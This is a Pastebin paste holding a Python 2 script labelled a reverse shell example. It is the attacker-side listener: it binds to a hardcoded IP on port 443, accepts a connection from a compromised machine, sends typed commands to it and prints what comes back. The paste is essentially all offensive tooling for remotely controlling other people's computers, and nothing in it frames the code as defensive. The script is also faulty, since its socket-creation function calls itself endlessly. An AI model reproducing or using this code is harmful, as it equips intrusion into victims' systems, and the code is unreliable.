Advertisement
BornePlays

server reverse shell

May 30th, 2016
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. # Python Server Reverse Shell Example
  2. import socket, os, sys
  3.  
  4. def socketCreate():
  5. try:
  6. global host
  7. global port
  8. global s
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. host = '95.146.15.133'
  11. port = 443
  12. socketCreate()
  13. port = int(port)
  14. except socket.error as msg:
  15. print('Socket creation error: ' + str(msg))
  16.  
  17. def socketBind():
  18. try:
  19. print('Binding socket at port %s' %port)
  20. s.bind((host, port))
  21. s.listen(1)
  22. except socket.error as msg:
  23. print('[!] Socket binding error: ' + str(msg))
  24. print('[*] Retrying...')
  25. socketBind()
  26.  
  27. def socketAccept():
  28. global conn
  29. global addr
  30. global hostname
  31. try:
  32. conn, addr = s.accept()
  33. print('[*] Session opened at %s:%s' %(addr[0],addr[1]))
  34.  
  35. hostname = conn.recv(1024)
  36. menu()
  37. except socket.error as msg:
  38. print('Socket accepting error: ' + str(msg))
  39.  
  40. def menu():
  41. while 1:
  42. cmd = raw_input(str(addr[0])+'@' + str(hostname) + '> ')
  43. if cmd == 'quit':
  44. conn.close()
  45. s.close()
  46. sys.exit()
  47. command = conn.send(cmd)
  48. result = conn.recv(16834)
  49. if result <> hostname:
  50. print result
  51.  
  52. def main():
  53. socketCreate()
  54. socketBind()
  55. socketAccept()
  56.  
  57. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement